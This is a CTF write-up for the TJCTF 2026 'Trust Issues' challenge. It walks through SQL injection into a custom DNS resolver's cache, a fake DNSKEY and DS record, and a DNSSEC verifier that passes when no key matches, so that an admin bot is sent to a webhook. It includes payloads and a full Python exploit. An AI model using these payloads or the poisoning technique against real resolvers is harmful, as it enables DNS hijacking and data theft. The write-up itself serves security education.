Harshfeudal

Writeups

Crypto / Trust Issues - TJCTF 2026

A writeup on the Crypto / Trust Issues challenge from TJCTF 2026

Loading... 10 min readUpdated: Loading...
Language: English
Author: @harshfeudal
#CTF#Crypto#DNS#DNSSEC#ECDSA#P-521#SQL Injection#Cache Poisoning#TJCTF#2026

The Challenge

trust-issues

Description

I made my own DNS resolver and I made sure I could trust it as much as my nameserver by using an even bigger elliptic curve

The admin bot will visit trust-issues.tjc.tf by querying the DNS resolver (which will be instanced), and the DNS resolver will query the nameserver to find the ip address of the website

DNS Resolver Instancer: https://dnsresolver-<instance>.tjc.tf
Admin Bot: https://admin-bot.tjctf.org/trust-issues

The goal is to make the admin bot visit a host that we control. The bot queries our resolver instance for:

TEXT
trust-issues.tjc.tf A

Then it navigates to:

TEXT
https://<resolver answer>/?flag=<flag>

So the real objective is not to attack the final website directly. The real objective is to make the custom resolver return our own host for trust-issues.tjc.tf while still passing its DNSSEC validation.

The Walkthrough

At first glance, the challenge looks like a pure crypto problem. The nameserver signs DNS records using DNSSEC algorithm 17, which is ECDSA over P-521. The description also explicitly mentions "an even bigger elliptic curve", so the obvious thought is to attack the signature scheme.

The nameserver does have a suspicious signing function:

Python
k = secrets.randbits(512)

For P-521, a 512-bit nonce is smaller than the curve order size. With enough signatures, this smells like a Hidden Number Problem attack against ECDSA. However, the resolver implementation had a much easier trust bug, so I did not need to recover the private key.

The solve path I used combines:

  1. SQL injection in the resolver cache insertion logic;
  2. cache poisoning of records for trust-issues.tjc.tf.;
  3. a DNSSEC verifier logic bug where missing signing keys are skipped;
  4. manual admin submission because the admin bot page is protected by reCAPTCHA.

Architecture overview

The attachment contains three main services:

TEXT
admin bot  --->  custom DNS resolver  --->  nameserver
                                      \
                                       \--> public DoH upstream for other names

The important resolver behavior is:

  • if the query name is trust-issues.tjc.tf. and the type is A, AAAA, CNAME, or DNSKEY, it queries the challenge nameserver;
  • otherwise, it queries a public DNS-over-HTTPS upstream;
  • it caches all returned records in a local SQLite database;
  • before returning a cached record, it tries to validate the RRset with DNSSEC.

The resolver only exposes normal A, AAAA, and CNAME queries to users:

Python
SUPPORTED_TYPES = {
    "A": A,
    "AAAA": AAAA,
    "CNAME": CNAME,
}

So we cannot simply ask the resolver to cache arbitrary DNSKEY or DS records from the HTTP interface. We need another primitive.

Bug 1: SQL injection in cache insertion

The resolver caches records with string interpolation:

Python
cursor.execute(
    f"INSERT INTO records VALUES ('{record['name']}', {record['type']}, "
    f"{record['TTL']}, {expires}, '{record['data']}')"
)

Both record['name'] and record['data'] come from DNS responses. That means if we can make the resolver fetch a DNS answer whose owner name contains SQL syntax, the resolver will execute it.

The next question is: how do we make a public DNS response preserve our malicious owner name?

Wildcard DNS services such as sslip.io are perfect for this. A name like:

TEXT
anything.127.0.0.1.sslip.io

resolves to 127.0.0.1, and the returned answer owner name remains our full query name. Therefore, we can put the SQL injection payload in the leftmost labels and let the resolver cache the resulting answer.

The resolver accepts a user-controlled upstream parameter, but using arbitrary external JSON upstreams was unreliable. The stable method is to point the upstream to Google DoH with the malicious query already embedded:

TEXT
https://dns.google/resolve?name=<payload>.127.0.0.1.sslip.io&type=A&do=true

When the resolver later appends its own name=seed...&type=A&do=true, Google still uses the first name and type parameters. The returned DNS answer is then cached by the vulnerable resolver.

Bug 2: DNSSEC validation succeeds when no signing key matches

The resolver validates a cached RRset roughly like this:

Python
for sig_row in rrsigs:
    rrsig = parse_rrsig(sig_row)
    signing_key = find_signing_key(rrsig, dnskeys)
    if not signing_key:
        continue

    valid = verify_rrset(rrset, rrsig, signing_key["public_key_b64"])
    if not valid:
        return False
return True

This is the critical trust issue.

If an RRSIG exists, but none of the cached DNSKEY records match the RRSIG key tag, the loop just continues. If every signature is skipped this way, the function reaches the final return True.

That means a poisoned RRset can pass validation as long as:

  1. there is at least one RRSIG cached for the name and type;
  2. there is at least one DNSKEY cached for the signer;
  3. none of the DNSKEYs match the real RRSIG key tag.

We do not need to forge a P-521 ECDSA signature. We only need to make the resolver use a fake DNSKEY so it cannot find the real signing key.

Bug 3: fake DNSKEY validation also passes

The resolver validates DNSKEYs using DS records. But it only iterates over keys with KSK flag 257:

Python
ksks = [r for r in dnskey_records if (r["data"].split()[0] == "257")]

for key_record in ksks:
    for ds in parsed_ds:
        if not verify_ds(key_record["data"], ds):
            raise Exception(...)
return True

So if we cache only a fake ZSK with flag 256, then ksks is empty. The loop does not run and validation returns True.

For example, this fake DNSKEY is enough:

TEXT
256 3 17 AA==

We also cache a dummy DS record so get_cached_records(zone, DS) is non-empty:

TEXT
1 17 2 deadbeef

The DS value does not need to be valid because there are no KSK records to check against it.

Putting the cache poison together

We need to insert three rows into the resolver's records table:

TEXT
trust-issues.tjc.tf.  A       webhook.site/<token>/
trust-issues.tjc.tf.  DNSKEY  256 3 17 AA==
trust-issues.tjc.tf.  DS      1 17 2 deadbeef

The A record points to our Webhook.site receiver. The important detail is that the data is not an IPv4 address. That is fine because if DNSSEC verification is skipped before verify_rrset() encodes the RRset, the resolver simply returns the string as the A record data.

The SQLi payload for the fake A record is:

SQL
x',1,1,1,'x'),('trust-issues.tjc.tf.',1,300,4102444800,'webhook.site/<token>/')--

For DNSKEY and DS records, spaces are inconvenient inside DNS labels, so I used SQLite replace() to create tab characters at SQL execution time:

SQL
x',1,1,1,'x'),('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--
SQL
x',1,1,1,'x'),('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--

After those rows are cached, we query:

TEXT
https://dnsresolver-<instance>.tjc.tf/?name=trust-issues.tjc.tf&type=A

The resolver already has our fake A record, so it does not need to fetch the A record again. But it still needs an RRSIG for trust-issues.tjc.tf. A, so it fetches the real RRSIG from the challenge nameserver.

Then validation uses:

TEXT
real RRSIG(A) + fake DNSKEY

The key tag does not match, so the signature is skipped, and the verifier incorrectly returns True.

The final resolver response becomes:

JSON
{"data":"webhook.site/<token>/","name":"trust-issues.tjc.tf.","type":1}

Admin bot and reCAPTCHA

One easy mistake is trying to submit to the admin bot with curl or requests.

This fails because the admin page is protected by reCAPTCHA:

TEXT
location: ?url=https%3A%2F%2Fdnsresolver-...tjc.tf%2F&msg=The%20reCAPTCHA%20is%20invalid.

So the final script should only poison the resolver and print the admin URL. Then we submit the resolver URL manually in the browser and solve the reCAPTCHA.

Once the admin bot accepts the submission, it queries the poisoned resolver, receives:

TEXT
webhook.site/<token>/

and visits:

TEXT
https://webhook.site/<token>/?flag=tjctf{...}

The flag appears in the Webhook.site request log.

Final Exploit

Python
#!/usr/bin/env python3
import argparse
import random
import time
from urllib.parse import quote

import requests

WEBHOOK = "https://webhook.site"
RECORD_SUFFIXES = [
    "127.0.0.1.sslip.io",
    "1.1.1.1.sslip.io",
    "127.0.0.1.nip.io",
]


def create_webhook_token(s):
    r = s.post(
        f"{WEBHOOK}/token",
        json={
            "default_status": 200,
            "default_content": "ok",
            "default_content_type": "text/plain",
            "timeout": 0,
        },
        timeout=20,
    )
    r.raise_for_status()
    token = r.json()["uuid"]
    print(f"[*] Webhook token: {token}")
    print(f"[*] Receiver: {WEBHOOK}/{token}")
    return token


def google_upstream(qname, qtype="A"):
    return "https://dns.google/resolve?name=%s&type=%s&do=true" % (
        quote(qname, safe=""),
        quote(qtype, safe=""),
    )


def hit_resolver(s, resolver, upstream, label, timeout=35):
    seed = f"seed-{random.randrange(1 << 48):012x}.invalid"
    try:
        r = s.get(
            resolver,
            params={"name": seed, "type": "A", "upstream": upstream},
            timeout=timeout,
        )
        print(f"[*] {label}: HTTP {r.status_code}: {r.text[:220].replace(chr(10), ' ')}")
        return r.status_code
    except Exception as e:
        print(f"[!] {label}: {e}")
        return None


def stage_record_insert(s, resolver, payload_label, suffixes):
    for suffix in suffixes:
        qname = f"{payload_label}.{suffix}"
        max_label = max(map(len, qname.split(".")))
        print(f"[*] stage qname length={len(qname)} maxlabel={max_label} suffix={suffix}")
        if len(qname) > 253 or max_label > 63:
            print("[!] skipped: DNS name too long")
            continue
        status = hit_resolver(s, resolver, google_upstream(qname, "A"), f"seed via {suffix}")
        if status in (404, 500, 502):
            return True
    return False


def build_payloads(token):
    target = f"webhook.site/{token}/"

    a_payload = (
        "x',1,1,1,'x'),"
        f"('trust-issues.tjc.tf.',1,300,4102444800,'{target}')--"
    )
    dnskey_payload = (
        "x',1,1,1,'x'),"
        "('trust-issues.tjc.tf.',48,300,4102444800,replace('256_3_17_AA==','_',x'09'))--"
    )
    ds_payload = (
        "x',1,1,1,'x'),"
        "('trust-issues.tjc.tf.',43,300,4102444800,replace('1_17_2_deadbeef','_',x'09'))--"
    )
    return target, [a_payload, dnskey_payload, ds_payload]


def check_resolver(s, resolver):
    r = s.get(resolver, params={"name": "trust-issues.tjc.tf", "type": "A"}, timeout=25)
    print(f"[*] Resolver check HTTP {r.status_code}: {r.text[:360].replace(chr(10), ' ')}")
    try:
        return r.json().get("data", "")
    except Exception:
        return ""


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("resolver", help="fresh resolver instance, e.g. https://dnsresolver-....tjc.tf/")
    ap.add_argument("--record-suffix", action="append")
    args = ap.parse_args()

    resolver = args.resolver.strip()
    if not resolver.endswith("/"):
        resolver += "/"

    s = requests.Session()
    token = create_webhook_token(s)
    target, payloads = build_payloads(token)
    suffixes = (args.record_suffix or []) + RECORD_SUFFIXES

    print("[*] Seeding fake A + fake DNSKEY + fake DS via add_record SQLi...")
    for i, payload in enumerate(payloads, 1):
        print(f"[*] payload {i}: len={len(payload)} maxlabel={max(map(len, payload.split('.')))}")
        stage_record_insert(s, resolver, payload, suffixes)

    data = check_resolver(s, resolver)
    if data != target:
        print("[!] Resolver did not return our poisoned A record.")
        print(f"    wanted: {target}")
        print(f"    got:    {data!r}")
        print("    Use a fresh resolver instance if an older poison row or the real A record is cached.")
        return

    print(f"[+] Poisoned resolver returns: {target}")
    print("[*] Submit this resolver URL manually in the admin bot and solve reCAPTCHA:")
    print(f"    {resolver}")
    print("[*] Then watch this Webhook.site receiver:")
    print(f"    {WEBHOOK}/{token}")


if __name__ == "__main__":
    main()

Run it against a fresh resolver instance:

Bash
python3 solve.py 'https://dnsresolver-<instance>.tjc.tf/'

Expected output:

TEXT
[*] Webhook token: 851a87d9-2cee-4ff0-aa33-9800c05adcb9
[*] Receiver: https://webhook.site/851a87d9-2cee-4ff0-aa33-9800c05adcb9
[*] Seeding fake A + fake DNSKEY + fake DS via add_record SQLi...
[*] Resolver check HTTP 200: {"data":"webhook.site/851a87d9-2cee-4ff0-aa33-9800c05adcb9/","name":"trust-issues.tjc.tf.","type":1}
[+] Poisoned resolver returns: webhook.site/851a87d9-2cee-4ff0-aa33-9800c05adcb9/

Then open the admin bot in the browser, submit the clean resolver URL, solve the reCAPTCHA, and check Webhook.site.

Why This Works

The resolver is supposed to trust only DNSSEC-signed data from the nameserver. However, the trust boundary is broken in two places.

First, untrusted DNS response fields are written into SQLite through f-strings. This lets us seed arbitrary cached rows by making the resolver query a wildcard DNS name containing SQL syntax.

Second, the DNSSEC verifier treats "no matching signing key" as a non-fatal condition. If all signatures are skipped, validation returns success.

The full exploit flow is:

TEXT
malicious qname under sslip.io
        ↓
Google DoH returns an A answer preserving our qname
        ↓
resolver caches it with SQL string interpolation
        ↓
SQLi inserts fake A + fake DNSKEY + fake DS for trust-issues.tjc.tf.
        ↓
resolver fetches real RRSIG(A) from challenge nameserver
        ↓
fake DNSKEY does not match the real RRSIG key tag
        ↓
verifier skips the signature and returns True
        ↓
admin bot receives webhook.site/<token>/ as the trusted A record
        ↓
admin visits our webhook with ?flag=...

The ECDSA P-521 implementation was a tempting rabbit hole, but the successful exploit does not need to break ECDSA at all. The issue is not the math. The issue is that the resolver trusts its cache and mishandles the "no signing key found" case.

Final Words

This was a great challenge because the title, category, and description push you toward cryptography, while the actual exploit path is a trust-boundary failure in the custom resolver.

The important mistakes were:

  1. SQL string interpolation for DNS response data;
  2. caching data from arbitrary upstream answers;
  3. validating DNSKEYs incorrectly when no KSK exists;
  4. returning True when all RRSIGs are skipped due to missing signing keys.

Once those bugs are combined, the resolver can be made to trust a fake A record and send the admin bot to our webhook.

TEXT
tjctf{trust_n0_on3_ev3r}

"Mit Kanonen auf Spatzen schießen"

image.png